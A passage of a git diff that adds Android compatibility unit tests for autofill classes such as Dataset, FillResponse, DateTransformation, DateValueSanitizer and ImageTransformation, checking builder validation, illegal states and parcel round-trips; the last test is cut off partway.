+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                (RemoteViews) null, null));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithNullFilter() {
+        assertThat(new Dataset.Builder(mPresentation).setValue(mId, mValue, (Pattern) null).build())
+                .isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithPresentation_nullFilter() {
+        assertThat(new Dataset.Builder().setValue(mId, mValue, null, mPresentation).build())
+                .isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithPresentation_nullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+                null));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithoutPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue, mFilter));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithBothPresentation_nullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+                null, mInlinePresentation));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithBothPresentation_nullInlinePresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+                mPresentation, null));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithBothPresentation_bothNull() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+                null, null));
+    }
+
+    @Test
+    public void testBuilder_setFieldInlinePresentations() {
+        assertThat(new Dataset.Builder().setFieldInlinePresentation(mId, mValue, mFilter,
+                mInlinePresentation)).isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setValue() {
+        Dataset.Builder builder = new Dataset.Builder().setValue(mId, mValue);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(mValue));
+    }
+
+    @Test
+    public void testBuilder_setValueForMultipleFields() {
+        Dataset.Builder builder = new Dataset.Builder()
+                .setValue(mId, mValue)
+                .setValue(mId2, mValue);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(asList(mId, mId2));
+        assertThat(dataset.getFieldValues()).isEqualTo(asList(mValue, mValue));
+    }
+
+    @Test
+    public void testBuilder_setValueAcceptsNullValue() {
+        // It's valid to pass null value, e.g. when wanting to trigger the auth flow.
+        Dataset.Builder builder = new Dataset.Builder().setValue(mId, null);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+
+    @Test
+    public void testBuilder_setValueWithAuthentication() {
+        Dataset.Builder builder = new Dataset.Builder()
+                .setValue(mId, mValue)
+                .setAuthentication(mAuth);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(mValue));
+        assertThat(dataset.getAuthentication()).isEqualTo(mAuth);
+    }
+
+    @Test
+    public void testBuilder_setContent() {
+        Dataset.Builder builder = new Dataset.Builder().setContent(mId, mContent);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldContent()).isEqualTo(mContent);
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+
+    @Test
+    public void testBuilder_setContentWithIntentIsNotAllowed() {
+        Dataset.Builder builder = new Dataset.Builder();
+        ClipData clip = ClipData.newIntent("", new Intent());
+        assertThrows(IllegalArgumentException.class, () -> builder.setContent(mId, clip));
+    }
+
+    @Test
+    public void testBuilder_setContentAcceptsNullContent() {
+        // It's valid to pass null content, e.g. when wanting to trigger the auth flow.
+        Dataset.Builder builder = new Dataset.Builder().setContent(mId, null);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldContent()).isNull();
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+
+    @Test
+    public void testBuilder_setContentWithAuthentication() {
+        Dataset.Builder builder = new Dataset.Builder()
+                .setContent(mId, mContent)
+                .setAuthentication(mAuth);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldContent()).isEqualTo(mContent);
+        assertThat(dataset.getAuthentication()).isEqualTo(mAuth);
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+
+    @Test
+    public void testBuilder_settingBothContentAndValuesIsNotAllowed() {
+        // Setting both content and value for the same field is not allowed.
+        Dataset.Builder builder = new Dataset.Builder();
+        builder.setContent(mId, mContent);
+        builder.setValue(mId, mValue);
+        assertThrows(IllegalStateException.class, builder::build);
+
+        // Setting both content and value, even if for different fields, is not allowed.
+        builder = new Dataset.Builder();
+        builder.setContent(mId, mContent);
+        builder.setValue(mId2, mValue);
+        assertThrows(IllegalStateException.class, builder::build);
+    }
+
+    @Test
+    public void testBuilder_settingContentForMultipleFieldsIsNotAllowed() {
+        Dataset.Builder builder = new Dataset.Builder();
+        builder.setContent(mId, mContent);
+        builder.setContent(mId2, mContent);
+        assertThrows(IllegalStateException.class, builder::build);
+    }
+
+    @Test
+    public void testBuild_noValues() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(IllegalStateException.class, () -> builder.build());
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        builder.setValue(mId, mValue, mPresentation);
+        assertThat(builder.build()).isNotNull();
+        assertThrows(IllegalStateException.class, () -> builder.build());
+        assertThrows(IllegalStateException.class,
+                () -> builder.setInlinePresentation(mInlinePresentation));
+        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mFilter));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mFilter, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mPresentation, mInlinePresentation));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mFilter, mPresentation, mInlinePresentation));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setFieldInlinePresentation(mId, mValue, mFilter,
+                        mInlinePresentation));
+        assertThrows(IllegalStateException.class, () -> builder.setContent(mId, mContent));
+    }
+
+    @Test
+    public void testWriteToParcel_values() throws Exception {
+        Dataset dataset = new Dataset.Builder(mInlinePresentation)
+                .setValue(mId, mValue)
+                .setValue(mId2, mValue)
+                .setId("test-dataset-id")
+                .build();
+        Parcel parcel = Parcel.obtain();
+        dataset.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        Dataset result = Dataset.CREATOR.createFromParcel(parcel);
+        assertThat(result.getId()).isEqualTo(dataset.getId());
+        assertThat(result.getFieldIds()).isEqualTo(asList(mId, mId2));
+        assertThat(result.getFieldValues()).isEqualTo(asList(mValue, mValue));
+        assertThat(result.getFieldContent()).isNull();
+    }
+
+    @Test
+    public void testWriteToParcel_content() throws Exception {
+        Dataset dataset = new Dataset.Builder(mInlinePresentation)
+                .setContent(mId, mContent)
+                .setId("test-dataset-id")
+                .build();
+        Parcel parcel = Parcel.obtain();
+        dataset.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        Dataset result = Dataset.CREATOR.createFromParcel(parcel);
+        assertThat(result.getId()).isEqualTo(dataset.getId());
+        assertThat(result.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(result.getFieldContent().getItemCount()).isEqualTo(mContent.getItemCount());
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/DateTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/DateTransformationTest.java
new file mode 100644
index 0000000..8e37469
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/DateTransformationTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.icu.text.SimpleDateFormat;
+import android.icu.util.Calendar;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.DateTransformation;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class DateTransformationTest {
+
+    @Mock private ValueFinder mValueFinder;
+    @Mock private RemoteViews mTemplate;
+
+    private final AutofillId mFieldId = new AutofillId(42);
+
+    @Test
+    public void testConstructor_nullFieldId() {
+        assertThrows(NullPointerException.class,
+                () -> new DateTransformation(null, new SimpleDateFormat()));
+    }
+
+    @Test
+    public void testConstructor_nullDateFormat() {
+        assertThrows(NullPointerException.class, () -> new DateTransformation(mFieldId, null));
+    }
+
+    @Test
+    public void testFieldNotFound() throws Exception {
+        final DateTransformation trans = new DateTransformation(mFieldId, new SimpleDateFormat());
+
+        trans.apply(mValueFinder, mTemplate, 0);
+
+        verify(mTemplate, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testInvalidAutofillValueType() throws Exception {
+        final DateTransformation trans = new DateTransformation(mFieldId, new SimpleDateFormat());
+
+        when(mValueFinder.findRawValueByAutofillId(mFieldId))
+                .thenReturn(AutofillValue.forText("D'OH"));
+        trans.apply(mValueFinder, mTemplate, 0);
+
+        verify(mTemplate, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testValidAutofillValue() throws Exception {
+        final DateTransformation trans = new DateTransformation(mFieldId,
+                new SimpleDateFormat("MM/yyyy"));
+
+        final Calendar cal = Calendar.getInstance();
+        cal.set(Calendar.YEAR, 2012);
+        cal.set(Calendar.MONTH, Calendar.DECEMBER);
+        cal.set(Calendar.DAY_OF_MONTH, 20);
+
+        when(mValueFinder.findRawValueByAutofillId(mFieldId))
+                .thenReturn(AutofillValue.forDate(cal.getTimeInMillis()));
+
+        trans.apply(mValueFinder, mTemplate, 0);
+
+        verify(mTemplate).setCharSequence(eq(0), any(),
+                argThat(new CharSequenceMatcher("12/2012")));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/DateValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/DateValueSanitizerTest.java
new file mode 100644
index 0000000..de2f083
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/DateValueSanitizerTest.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.icu.text.SimpleDateFormat;
+import android.icu.util.Calendar;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.DateValueSanitizer;
+import android.util.Log;
+import android.view.autofill.AutofillValue;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Date;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class DateValueSanitizerTest {
+
+    private static final String TAG = "DateValueSanitizerTest";
+
+    private final SimpleDateFormat mDateFormat = new SimpleDateFormat("MM/yyyy");
+
+    @Test
+    public void testConstructor_nullDateFormat() {
+        assertThrows(NullPointerException.class, () -> new DateValueSanitizer(null));
+    }
+
+    @Test
+    public void testSanitize_nullValue() throws Exception {
+        final DateValueSanitizer sanitizer = new DateValueSanitizer(new SimpleDateFormat());
+        assertThat(sanitizer.sanitize(null)).isNull();
+    }
+
+    @Test
+    public void testSanitize_invalidValue() throws Exception {
+        final DateValueSanitizer sanitizer = new DateValueSanitizer(new SimpleDateFormat());
+        assertThat(sanitizer.sanitize(AutofillValue.forText("D'OH!"))).isNull();
+    }
+
+    @Test
+    public void testSanitize_ok() throws Exception {
+        final Calendar inputCal = Calendar.getInstance();
+        inputCal.set(Calendar.YEAR, 2012);
+        inputCal.set(Calendar.MONTH, Calendar.DECEMBER);
+        inputCal.set(Calendar.DAY_OF_MONTH, 20);
+        final long inputDate = inputCal.getTimeInMillis();
+        final AutofillValue inputValue = AutofillValue.forDate(inputDate);
+        Log.v(TAG, "Input date: " + inputDate + " >> " + new Date(inputDate));
+
+        final Calendar expectedCal = Calendar.getInstance();
+        expectedCal.clear(); // We just care for year and month...
+        expectedCal.set(Calendar.YEAR, 2012);
+        expectedCal.set(Calendar.MONTH, Calendar.DECEMBER);
+        final long expectedDate = expectedCal.getTimeInMillis();
+        final AutofillValue expectedValue = AutofillValue.forDate(expectedDate);
+        Log.v(TAG, "Exected date: " + expectedDate + " >> " + new Date(expectedDate));
+
+        final DateValueSanitizer sanitizer = new DateValueSanitizer(
+                mDateFormat);
+        final AutofillValue sanitizedValue = sanitizer.sanitize(inputValue);
+        final long sanitizedDate = sanitizedValue.getDateValue();
+        Log.v(TAG, "Sanitized date: " + sanitizedDate + " >> " + new Date(sanitizedDate));
+        assertThat(sanitizedDate).isEqualTo(expectedDate);
+        assertThat(sanitizedValue).isEqualTo(expectedValue);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/FillResponseTest.java
new file mode 100644
index 0000000..9c1e75b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/FillResponseTest.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.service.autofill.FillResponse.FLAG_DISABLE_ACTIVITY_ONLY;
+import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class FillResponseTest {
+
+    private final AutofillId mAutofillId = new AutofillId(42);
+    private final FillResponse.Builder mBuilder = new FillResponse.Builder();
+    private final AutofillId[] mIds = new AutofillId[] { mAutofillId };
+    private final SaveInfo mSaveInfo = new SaveInfo.Builder(0, mIds).build();
+    private final Bundle mClientState = new Bundle();
+    private final Dataset mDataset = new Dataset.Builder()
+            .setValue(mAutofillId, AutofillValue.forText("forty-two"))
+            .build();
+    private final long mDisableDuration = 666;
+    @Mock private RemoteViews mPresentation;
+    @Mock private RemoteViews mHeader;
+    @Mock private RemoteViews mFooter;
+    @Mock private IntentSender mIntentSender;
+    private final UserData mUserData = new UserData.Builder("id", "value", "cat").build();
+
+    @Test
+    public void testBuilder_setAuthentication_invalid() {
+        // null ids
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(null, mIntentSender, mPresentation));
+        // empty ids
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(new AutofillId[] {}, mIntentSender,
+                        mPresentation));
+        // ids with null value
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(new AutofillId[] {null}, mIntentSender,
+                        mPresentation));
+        // null intent sender
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(mIds, null, mPresentation));
+        // null presentation
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(mIds, mIntentSender, null));
+    }
+
+    @Test
+    public void testBuilder_setAuthentication_valid() {
+        new FillResponse.Builder().setAuthentication(mIds, null, null);
+        new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+    }
+
+    @Test
+    public void testBuilder_setAuthentication_illegalState() {
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setHeader(mHeader).setAuthentication(mIds,
+                        mIntentSender, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setFooter(mFooter).setAuthentication(mIds,
+                        mIntentSender, mPresentation));
+    }
+
+    @Test
+    public void testBuilder_setHeaderOrFooterInvalid() {
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setHeader(null));
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setFooter(null));
+    }
+
+    @Test
+    public void testBuilder_setHeaderOrFooterAfterAuthentication() {
+        FillResponse.Builder builder =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder.setHeader(mHeader));
+        assertThrows(IllegalStateException.class, () -> builder.setHeader(mFooter));
+    }
+
+    @Test
+    public void testBuilder_setUserDataInvalid() {
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder()
+                .setUserData(null));
+    }
+
+    @Test
+    public void testBuilder_setUserDataAfterAuthentication() {
+        FillResponse.Builder builder =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder.setUserData(mUserData));
+    }
+
+    @Test
+    public void testBuilder_setFlag_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
+    }
+
+    @Test
+    public void testBuilder_setFlag_valid() {
+        mBuilder.setFlags(0);
+        mBuilder.setFlags(FLAG_TRACK_CONTEXT_COMMITED);
+        mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY);
+    }
+
+    @Test
+    public void testBuilder_disableAutofill_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(0));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(-1));
+    }
+
+    @Test
+    public void testBuilder_disableAutofill_valid() {
+        mBuilder.disableAutofill(mDisableDuration);
+        mBuilder.disableAutofill(Long.MAX_VALUE);
+    }
+
+    @Test
+    public void testBuilder_disableAutofill_mustBeTheOnlyMethodCalled() {
+        // No method can be called after disableAutofill()
+        mBuilder.disableAutofill(mDisableDuration);
+        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(mDataset));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setFieldClassificationIds(mAutofillId));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setClientState(mClientState));
+
+        // And vice-versa...
+        final FillResponse.Builder builder1 = new FillResponse.Builder().setSaveInfo(mSaveInfo);
+        assertThrows(IllegalStateException.class, () -> builder1.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder2 = new FillResponse.Builder().addDataset(mDataset);
+        assertThrows(IllegalStateException.class, () -> builder2.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder3 =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder3.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder4 =
+                new FillResponse.Builder().setFieldClassificationIds(mAutofillId);
+        assertThrows(IllegalStateException.class, () -> builder4.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder5 =
+                new FillResponse.Builder().setClientState(mClientState);
+        assertThrows(IllegalStateException.class, () -> builder5.disableAutofill(mDisableDuration));
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_invalid() {
+        assertThrows(NullPointerException.class,
+                () -> mBuilder.setFieldClassificationIds((AutofillId) null));
+        assertThrows(NullPointerException.class,
+                () -> mBuilder.setFieldClassificationIds((AutofillId[]) null));
+        final AutofillId[] oneTooMany =
+                new AutofillId[UserData.getMaxFieldClassificationIdsSize() + 1];
+        for (int i = 0; i < oneTooMany.length; i++) {
+            oneTooMany[i] = new AutofillId(i);
+        }
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setFieldClassificationIds(oneTooMany));
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_valid() {
+        mBuilder.setFieldClassificationIds(mAutofillId);
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_setsFlag() {
+        mBuilder.setFieldClassificationIds(mAutofillId);
+        assertThat(mBuilder.build().getFlags()).isEqualTo(FLAG_TRACK_CONTEXT_COMMITED);
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_addsFlag() {
+        mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY).setFieldClassificationIds(mAutofillId);
+        assertThat(mBuilder.build().getFlags())
+                .isEqualTo(FLAG_TRACK_CONTEXT_COMMITED | FLAG_DISABLE_ACTIVITY_ONLY);
+    }
+
+    @Test
+    public void testBuild_invalid() {
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+    }
+
+    @Test
+    public void testBuild_valid() {
+        // authentication only
+        assertThat(new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation)
+                .build()).isNotNull();
+        // save info only
+        assertThat(new FillResponse.Builder().setSaveInfo(mSaveInfo).build()).isNotNull();
+        // dataset only
+        assertThat(new FillResponse.Builder().addDataset(mDataset).build()).isNotNull();
+        // disable autofill only
+        assertThat(new FillResponse.Builder().disableAutofill(mDisableDuration).build())
+                .isNotNull();
+        // fill detection only
+        assertThat(new FillResponse.Builder().setFieldClassificationIds(mAutofillId).build())
+                .isNotNull();
+        // client state only
+        assertThat(new FillResponse.Builder().setClientState(mClientState).build())
+                .isNotNull();
+    }
+
+    @Test
+    public void testBuilder_build_headerOrFooterWithoutDatasets() {
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setHeader(mHeader).build());
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setFooter(mFooter).build());
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        assertThat(mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build())
+                .isNotNull();
+
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build());
+        assertThrows(IllegalStateException.class, () -> mBuilder.setIgnoredIds(mIds));
+        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(null));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setClientState(mClientState));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setFlags(0));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setFieldClassificationIds(mAutofillId));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setUserData(mUserData));
+        assertThrows(IllegalStateException.class, () -> mBuilder.setPresentationCancelIds(null));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/ImageTransformationTest.java
new file mode 100644
index 0000000..ea7fc63
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/ImageTransformationTest.java
@@ -0,0 +1,223 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.only;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.ImageTransformation;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class ImageTransformationTest {
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void testAllNullBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new ImageTransformation.Builder(null, null, 0));
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void testNullAutofillIdBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new ImageTransformation.Builder(null, Pattern.compile(""), 1));
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void testNullRegexBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new ImageTransformation.Builder(new AutofillId(1), null, 1));
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void testNullSubstBuilder() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void fieldCannotBeFound() throws Exception {
+        AutofillId unknownId = new AutofillId(42);
+
+        ImageTransformation trans = new ImageTransformation
+                .Builder(unknownId, Pattern.compile("val"), 1)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+        trans.apply(finder, template, 0);
+
+        // if a view cannot be found, nothing is set
+        verify(template, never()).setImageViewResource(anyInt(), anyInt());
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void theOneOptionsMatches() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*"), 42)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 42);
+    }
+
+    @Test
+    public void theOneOptionsMatchesWithContentDescription() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile(".*"), 42, "Are you content?")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("val");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setImageViewResource(0, 42);
+        verify(template).setContentDescription(0, "Are you content?");
+    }
+
+    @Test
+    @SuppressWarnings("deprecation")
+    public void noOptionsMatches() throws Exception {
+        AutofillId id = new AutofillId(1);
+        ImageTransformation trans = new ImageTransformation
+                .Builder(id, Pattern.compile("val"), 42)
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("bad-val");
